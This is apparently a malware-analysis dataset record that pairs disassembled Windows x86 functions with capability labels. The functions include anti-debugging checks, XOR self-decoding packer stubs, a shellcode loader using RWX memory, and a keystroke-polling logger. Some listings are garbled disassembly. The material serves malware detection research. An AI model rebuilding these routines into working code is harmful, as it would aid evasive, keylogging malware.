joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405d40
Capabilities:
Check for peb beingdebugged flag
Initialize winsock library

Disassembly:
mov eax, dword [0x410384]
test eax, eax
jne 0xc5012e
mov dword [0xc00384], 0xecb801
call dword [0xa6885c]
mov ebx, dword [ebp + eax*4 - 0xa]
je 0x405db3
mov eax, dword [0x6f4103a0]
test eax, eax
cli
sbb eax, 0xf4106850
inc eax
add byte [edx + 4], ch
cmpsb byte [esi], byte es:[edi]
invalid
push ebx
call dword [0x60c054]
popal
fsubr dword [edx - 0x36]
push ebx
mov ch, 0x15
and al, 0xc1
inc eax
add byte [eax - 0x70], dl
test dword [eax], eax
add byte [eax], al
mov edi, dword [ebp + 0x10]
add esp, 0xc
cdq
sub dh, byte [ebp + ebp + 0x4a]
xor al, 0x85
add al, 0
add byte [edi + 0x5c15ff56], cl
les eax, [eax + 0x62]
add esp, 4
mov dword [edi], eax
call dword [0x5e40c124]
int1
aas
movsb byte es:[edi], byte [esi]
sahf
mov esi, dword [eax]
mov eax, dword [ebp - 0xcfd1638]
mov edi, 0xe1a4cae7
add esp, dword [eax + 0x15ff53a4]
push eax
rol byte [edi - 0x75], 0x35
sub cl, al
inc eax
add bh, bh
cmp dword [ebx - 0x36a5c1f8], ecx
test byte [esi], dl
loopne 0x405df0
invalid

Function at 0x407ef0
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
inc eax
mov byte [esi], 0x8f
inc esi
cmp edi, 1
jle 0x407e5a
dec edi
mov cl, byte [eax]
mov byte [esi], cl
inc esi
inc eax
dec edi
pushfd
test esi, 0x85466506
fstp xword [ebp + 7]
mov byte [esi], 0x65
inc esi
test ebx, ebx
jge 0x407e69
xor eax, 0x2d06c6db
jmp 0x407e6c
mov byte [esi], 0x2b
mov eax, ebx
mov ecx, 0x31
jb 0x407e6c
stc
inc esi
test edx, ebp
mov edi, edx
jle 0x407e82
dec ebx
xor byte [eax - 0x3c74b9fa], cl
mov eax, ebx
mov ecx, 0xa
cdq
idiv ecx
test eax, eax
mov ecx, edx
jle 0x407ea9
xlatb
imul di
sal dword [edx], 2
cld
sbb ebx, dword [eax - 0x18]
cmpsb byte [esi], byte es:[edi]
add edx, eax
add dl, 0x30
mov edx, dword [esi]
inc esi
or byte [eax - 0x16f177d0], 0x59
inc edx
dec dword [ebx + 0x6c6c2]
pop edi
jmp 0x407e46
push ebp
mov ebp, esp
xor dword [eax], 0x14
sbb dword [eax + edx + 0x4f], 0x7c
pop es
daa
inc ebp
adc byte [esi], cl
push ss
neg ch
inc ebp
or byte [edx + 0x32], ah
xor dl, al
inc eax
add byte [ebp - 0x74ace7b3], ah
pop ebp
and byte [esi + 0x52], dl
not byte [edi - 0x21]
loopne 0x407ea3
jne 0x407f18
mov dword [ecx], esi
test esp, 0x7afb8b05
push cs
fld qword [ebp + 8]
fchs
fstp qword [ebp + 8]
invalid
Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x60032c39
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x1cd02a91
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x46732f
Capabilities:
Copy file
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x83c
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x46744f
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 8], edx
cmp dword [0x2c4735c], 0xae9
jne 0x467437
lea eax, [ebp - 0x10]
push eax
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
mov word [ebp - 0xc], ax
lea edi, [ebp - 0xa]
stosw word es:[edi], ax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x1c]
push dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x43c]
push eax
push 0x401378
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push esi
lea eax, [ebp - 0x20]
push eax
push esi
lea eax, [ebp - 0x83c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
push 0x4012fc
push 0x4013c4
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
push esi
push 0x4013f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push esi
push esi
push esi
push 0x401410
push 0x401428
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.004669ca
add ebx, 8
dec dword [ebp - 8]
jne 0x46734d
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x46745b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
push ebx
push esi
push edi
push 0x401440
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401450
push eax
mov dword [0x2c47348], eax
call esi
push 0x40145c
push dword [0x2c47348]
mov dword [0x2c47340], eax
call esi
push dword [0x2c4735c]
xor esi, esi
push esi
mov dword [0x2c44120], eax
call dword [0x2c47340]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x2c4735c]
mov dword [0x2c44138], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp edi, 0x85b4
jge 0x4674eb
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.USER32.dll_RealChildWindowFromPoint]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp edi, 0x11c825e
jg 0x467510
inc edi
mov eax, edi
cdq
cmp edx, 0x3f
jl 0x4674c5
jg 0x467510
cmp eax, 0x45b08f85
jb 0x4674c5
mov eax, dword [0x478b0c]
mov dword [0x2caefec], eax
xor eax, eax
cmp dword [0x2c4735c], esi
jbe 0x467543
mov ecx, dword [0x2caefec]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x2c44138]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x2c4735c]
jb 0x467524
xor edi, edi
mov eax, dword [0x2c4735c]
add eax, edi
cmp eax, 0x5e
jne 0x467579
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapSize]
push esi
lea eax, [ebp - 0x838]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
inc edi
cmp edi, 0xa69b
jl 0x467545
mov edx, dword [0x2c4735c]
mov ecx, dword [0x2c44138]
push str.xZXz
call fcn.0046732f
xor eax, eax
cmp eax, 0x59d8
jne 0x4675ab
mov ecx, 0x2c44138
call fcn.00467454
inc eax
cmp eax, 0x356d83
jl 0x46759a
push 0x7b
pop ebx
cmp dword [0x2c4735c], 0x54d
jne 0x4675f5
xor eax, eax
mov dword [ebp - 0x1c], esi
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x38]
push eax
push 0x40146c
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push esi
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
dec ebx
jne 0x4675b6
mov eax, dword [0x2c44138]
mov dword [0x2c47350], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x467a23
Capabilities:
Create thread
Get disk size
Get hostname
Manipulate console buffer

Disassembly:
mov eax, 0x476126
call fcn.004686cc
sub esp, 0xaa4
cmp dword [0x2c4735c], 0x598
jne 0x467a71
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x401494
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0
call fcn.00468bf5
pop ecx
call fcn.004689c3
push ebx
push esi
mov esi, 0xa4808
xor ebx, ebx
push edi
cmp dword [0x2c4735c], 0x57c
jne 0x467af9
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push ebx
push ebx
lea eax, [ebp - 0x6b0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push 0x30
lea eax, [ebp - 0x7c]
push ebx
push eax
mov dword [ebp - 0x80], ebx
call fcn.00468c70
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
push ebx
push 0x4014a8
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0xab0]
push eax
push ebx
push 0x401500
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor eax, eax
mov word [ebp - 0x10], ax
lea edi, [ebp - 0xe]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push ebx
push 0x401530
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
dec esi
jne 0x467a7b
mov eax, dword [0x479abc]
add eax, 0xb2d3b
mov esi, 0x47c120
mov dword [0x2c4735c], eax
mov eax, esi
lea edx, [eax + 1]
pop edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x467b1a
sub eax, edx
cmp eax, 0x1515
jne 0x467bcc
push ebx
push ebx
push ebx
lea eax, [ebp - 0x2b0]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x4014a4
lea ecx, [ebp - 0x4c]
call fcn.00467a01
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.004687a8
push ebx
push ebx
call fcn.00468768
push 0x38
push 0x401540
push 0x40155c
push esi
call fcn.004686eb
push ebx
call fcn.00468bf5
add esp, 0x1c
mov dword [esp + 4], ebx
mov dword [esp], ebx
call fcn.00466988
fstp st(0)
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.004676bf
call fcn.0046745b
mov ecx, dword [ebp - 0xc]
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10

Function at 0x469210
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47afa4]
jne 0x46921a
repz ret
jmp fcn.0046f7c8
Function at 0x4726a1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0046bdb7
and dword [ebp - 4], 0
cmp dword [0x2cafaf0], 0
mov ebx, eax
jne 0x472752
push 0x402fa0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x472803
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402f94
push edi
call esi
test eax, eax
je 0x472803
push eax
call fcn.0046bd45
mov dword [esp], 0x402f84
push edi
mov dword [0x2cafaf0], eax
call esi
push eax
call fcn.0046bd45
mov dword [esp], 0x402f70
push edi
mov dword [0x2cafaf4], eax
call esi
push eax
call fcn.0046bd45
mov dword [esp], 0x402f54
push edi
mov dword [0x2cafaf8], eax
call esi
push eax
call fcn.0046bd45
pop ecx
mov dword [0x2cafb00], eax
test eax, eax
je 0x472752
push 0x402f3c
push edi
call esi
push eax
call fcn.0046bd45
pop ecx
mov dword [0x2cafafc], eax
mov eax, dword [0x2cafafc]
cmp eax, ebx
je 0x4727aa
cmp dword [0x2cafb00], ebx
je 0x4727aa
push eax
call fcn.0046bdc0
push dword [0x2cafb00]
mov esi, eax
call fcn.0046bdc0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4727aa
test edi, edi
je 0x4727aa
call esi
test eax, eax
je 0x4727a1
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4727a1
test byte [ebp - 0xc], 1
jne 0x4727aa
or dword [ebp + 0x10], 0x200000
jmp 0x4727e3
mov eax, dword [0x2cafaf4]
cmp eax, ebx
je 0x4727e3
push eax
call fcn.0046bdc0
pop ecx
test eax, eax
je 0x4727e3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4727e3
mov eax, dword [0x2cafaf8]
cmp eax, ebx
je 0x4727e3
push eax
call fcn.0046bdc0
pop ecx
test eax, eax
je 0x4727e3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x2cafaf0]
call fcn.0046bdc0
pop ecx
test eax, eax
je 0x472803
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x472805
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x46a279
Capabilities:
Create directory
Delete directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x50000
call fcn.00431ac0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x20004]
push eax
push 0x7fff
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x46a3d6
push ebx
lea eax, [ebp - 0x20004]
push eax
lea eax, [ebp - 0x10004]
push 0x4b8be0
push eax
call fcn.00423818
lea eax, [ebp - 0x10004]
push eax
call fcn.00422d7c
mov ebx, eax
add esp, 0x10
cmp word [ebp + ebx*2 - 0x10006], 0x5c
jne 0x46a2f1
cmp word [ebp + ebx*2 - 0x10008], 0x3a
je 0x46a2f1
xor eax, eax
mov word [ebp + ebx*2 - 0x10006], ax
push edi
xor edi, edi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x46a30b
cmp byte [ebp + 0x10], al
je 0x46a3c7
push edi
push 0x2200000
push 3
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x46a3be
push 0x2fffa
lea eax, [ebp - 0x50000]
push 0
push eax
call fcn.00422f60
lea eax, [ebx + ebx]
mov dword [ebp - 0x50000], 0xa0000003
mov word [ebp - 0x4fff6], ax
mov eax, dword [ebp - 0x4fff6]
add eax, 2
mov word [ebp - 0x4fff4], ax
lea eax, [ebp - 0x10004]
push 0x7fff
push eax
lea eax, [ebp - 0x4fff0]
push eax
call fcn.0042422e
mov eax, dword [ebp - 0x4fff6]
lea ecx, [ebp + 8]
add esp, 0x18
xor edx, edx
add eax, 0xc
mov word [ebp - 0x4fffc], ax
movzx eax, ax
push edx
push ecx
push edx
push edx
add eax, 8
push eax
lea eax, [ebp - 0x50000]
push eax
push 0x900a4
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push edi
test eax, eax
jne 0x46a3cb
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
jmp 0x46a3d4
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4209ab
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4209ea
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4209ea
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4209ea
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4209ea
cmp dword [ecx + 0x74], 0xe
jbe 0x4209ea
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433160
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43318d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43318d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x438c8e
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x438a14
dec eax
mov edi, 0xa0c6fe02
call fcn.00438ccb
sub edi, 0xb8f63bab
xor dword [esi], edx
sub eax, 0x7701997b
add eax, 0xfa61a33e
inc esi
add eax, eax
sub edi, edi
cmp esi, ebx
jne fcn.00438c8e
dec edi
add edi, 0xb8bfc295
or eax, eax
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x62553134
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x8912c3e
nop
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x406180
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x224]
test eax, eax
je 0x40621b
push 1
call fcn.004063d0
mov eax, dword [esi + 0x204]
mov ecx, dword [esi + 0x20c]
mov byte [eax + ecx], 0
mov edx, dword [esi + 0x20c]
mov eax, dword [esi + 0x220]
inc edx
test eax, eax
mov dword [esi + 0x20c], edx
je 0x40621b
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40621b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
lea edx, [esp + 0xc]
push 0
push edx
lea eax, [esi + 0x21c]
push 2
push eax
push edi
call ebx
mov edx, dword [esi + 0x20c]
mov eax, dword [esi + 0x204]
lea ecx, [esp + 0xc]
push 0
push ecx
push edx
push eax
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov eax, dword [esi + 0x220]
mov edi, dword [sym.imp.MSVCRT.dll_free]
test eax, eax
je 0x406231
push eax
call edi
add esp, 4
mov esi, dword [esi + 0x204]
test esi, esi
je 0x406241
push esi
call edi
add esp, 4
pop edi
pop esi
pop ecx
ret
Function at 0x406420
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xc
push ebp
mov ebp, ecx
mov eax, dword [ebp]
cmp dword [eax + 0xd0], 1
jle 0x406651
push ebx
push esi
lea esi, [ebp + 4]
push edi
push esi
call dword [sym.imp.USER32.dll_GetKeyboardState]
lea edi, [ebp + 0x104]
mov ecx, esi
xor ebx, ebx
sub ecx, edi
mov dword [esp + 0x10], ecx
lea eax, [edi + ebx]
xor edx, edx
mov dl, byte [ecx + eax]
mov esi, edx
xor edx, edx
mov dl, byte [eax]
shr esi, 7
shr edx, 7
cmp esi, edx
je 0x4064cd
push 2
mov ecx, ebp
call fcn.004063d0
test esi, esi
jne 0x40649a
mov eax, dword [ebp + 0x204]
mov ecx, dword [ebp + 0x20c]
mov byte [eax + ecx], 3
mov edx, dword [ebp + 0x204]
mov eax, dword [ebp + 0x20c]
mov byte [edx + eax + 1], bl
jmp 0x4064ba
mov ecx, dword [ebp + 0x204]
mov edx, dword [ebp + 0x20c]
mov byte [ecx + edx], 2
mov eax, dword [ebp + 0x204]
mov ecx, dword [ebp + 0x20c]
mov byte [eax + ecx + 1], bl
mov eax, dword [ebp + 0x20c]
mov ecx, dword [esp + 0x10]
add eax, 2
mov dword [ebp + 0x20c], eax
inc ebx
cmp ebx, 0x100
jl 0x406453
mov ecx, 0x40
lea esi, [ebp + 4]
rep movsd dword es:[edi], dword [esi]
call fcn.0041cb20
mov esi, dword [ebp]
add esi, 0x2c
xor eax, eax
mov dl, byte [eax + ebp + 0x210]
mov cl, byte [esi + eax]
cmp dl, cl
jne 0x406507
inc eax
cmp eax, 4
jl 0x4064f1
jmp 0x406553
cmp eax, 4
jge 0x406553
push 5
mov ecx, ebp
call fcn.004063d0
mov eax, dword [ebp + 0x204]
mov ecx, dword [ebp + 0x20c]
mov byte [eax + ecx], 4
xor eax, eax
mov edx, dword [ebp + 0x204]
mov edi, dword [ebp + 0x20c]
mov cl, byte [esi + eax]
add edx, edi
mov byte [edx + eax + 1], cl
mov dl, byte [esi + eax]
mov byte [eax + ebp + 0x210], dl
inc eax
cmp eax, 4
jl 0x406527
add dword [ebp + 0x20c], 5
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov edx, dword [ebp]
lea ecx, [esp + 0x14]
push ecx
mov eax, dword [edx + 0x18]
mov ecx, dword [eax + 0x1d0]
push ecx
call dword [sym.imp.USER32.dll_ScreenToClient]
mov edx, dword [ebp + 0x214]
mov eax, dword [esp + 0x14]
pop edi
pop esi
cmp edx, eax
pop ebx
jne 0x406599
mov eax, dword [ebp + 0x218]
mov ecx, dword [esp + 0xc]
cmp eax, ecx
je 0x40662b
push 5
mov ecx, ebp
call fcn.004063d0
mov ecx, dword [ebp + 0x204]
mov edx, dword [ebp + 0x20c]
mov byte [ecx + edx], 5
mov eax, dword [esp + 8]
mov ecx, dword [ebp + 0x204]
mov edx, dword [ebp + 0x20c]
sar eax, 8
mov byte [ecx + edx + 1], al
mov eax, dword [ebp + 0x204]
mov ecx, dword [ebp + 0x20c]
mov dl, byte [esp + 8]
mov byte [eax + ecx + 2], dl
mov eax, dword [esp + 0xc]
mov ecx, dword [ebp + 0x204]
mov edx, dword [ebp + 0x20c]
sar eax, 8
mov byte [ecx + edx + 3], al
mov eax, dword [ebp + 0x204]
mov ecx, dword [ebp + 0x20c]
mov dl, byte [esp + 0xc]
mov byte [eax + ecx + 4], dl
mov eax, dword [ebp + 0x20c]
mov ecx, dword [esp + 0xc]
add eax, 5
mov dword [ebp + 0x20c], eax
mov eax, dword [esp + 8]
mov dword [ebp + 0x214], eax
mov dword [ebp + 0x218], ecx
push 1
mov ecx, ebp
call fcn.004063d0
mov edx, dword [ebp + 0x204]
mov eax, dword [ebp + 0x20c]
mov byte [edx + eax], 1
mov eax, dword [ebp + 0x20c]
inc eax
mov dword [ebp + 0x20c], eax
pop ebp
add esp, 0xc
ret
Function at 0x40b260
Capabilities:
Hide graphical window

Disassembly:
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
sub esp, 0x24
lea eax, [esp]
push ebx
push ebp
push eax
push ecx
push edx
call fcn.0042e310
mov ebp, eax
add esp, 0xc
test bp, bp
jne 0x40b33b
mov ebx, dword [esp + 0x3c]
test bl, 1
je 0x40b332
push edi
call fcn.0041a9a0
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
and ebx, 2
test bx, bx
je 0x40b2ca
mov eax, dword [0x45157c]
push 0
mov ecx, dword [eax + 0x10]
push ecx
call edi
mov edx, dword [0x45157c]
mov eax, dword [edx + 0x4c4]
test eax, eax
je 0x40b2ca
push 0
push eax
call edi
push esi
mov esi, dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
lea eax, [esp + 0x18]
push 0
push eax
call fcn.00402730
add esp, 8
push 0xff
push 0xc8
push 0
push 0
push 0
call esi
lea ecx, [esp + 0x10]
push ecx
call fcn.0042e3f0
add esp, 4
test eax, eax
jne 0x40b2d1
test bx, bx
pop esi
je 0x40b32c
mov edx, dword [0x45157c]
push 5
mov eax, dword [edx + 0x10]
push eax
call edi
mov ecx, dword [0x45157c]
mov eax, dword [ecx + 0x4c4]
test eax, eax
je 0x40b32c
push 5
push eax
call edi
call fcn.0041aa80
pop edi
movsx eax, bp
pop ebp
pop ebx
add esp, 0x24
ret
mov eax, 1
pop ebp
movsx eax, ax
pop ebx
add esp, 0x24
ret

Function at 0x415330
Capabilities:
Delete file

Disassembly:
mov eax, dword [0x4515a4]
test eax, eax
je 0x415396
mov eax, dword [0x45159c]
push esi
xor esi, esi
test eax, eax
jle 0x415374
push edi
mov edi, dword [sym.imp.MSVCRT.dll_remove]
mov eax, dword [0x4515a4]
mov ecx, dword [eax + esi*4]
push ecx
call edi
mov edx, dword [0x4515a4]
lea eax, [edx + esi*4]
push eax
call fcn.0041cd50
mov eax, dword [0x45159c]
add esp, 8
inc esi
cmp esi, eax
jl 0x41534c
pop edi
push 0x4515a4
call fcn.0041cd50
add esp, 4
mov dword [0x45159c], 0
mov dword [0x4515a0], 0
pop esi
ret